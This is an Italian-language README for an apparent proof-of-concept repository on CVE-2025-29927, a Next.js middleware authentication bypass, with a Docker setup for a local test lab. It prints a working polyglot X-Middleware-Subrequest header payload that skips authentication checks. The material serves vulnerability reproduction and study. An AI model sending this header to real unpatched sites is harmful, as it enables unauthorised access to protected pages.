CVE-2025-29927: PoC di Bypass del Middleware di Next.js

Questo repository dimostra la vulnerabilità CVE-2025-29927 in Next.js, dove l'header interno x-middleware-subrequest può essere utilizzato per bypassare i controlli del middleware come l'autenticazione.

Versioni Affette

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9

Passaggi per Riprodurre

1. Clonare il Repository:

git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. Navigare nella Cartella del Progetto:

cd CVE-2025-29927-PoC

3. Generare un Segreto:

openssl rand -base64 32

4. Aggiornare il Segreto nel File .env:

NEXTAUTH_SECRET=your_generated_secret

5. Compilare ed Eseguire con Docker:

docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

Prova di Concetto

Possiamo semplificare notevolmente lo sfruttamento di questo problema utilizzando un poliglotta che ci permette di coprire efficacemente i vari casi potenziali. Ciò è stato ottenuto con il seguente header HTTP, utilizzato per verificare la presenza di un bypass dell'autenticazione:

X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

Crediti/Fonti

• Blog di Next.js su CVE-2025-29927
• Zhero Web Security Research: Next.js e il Middleware Corrotto
• Assetnote Security Research: Analisi del Bypass del Middleware di Next.js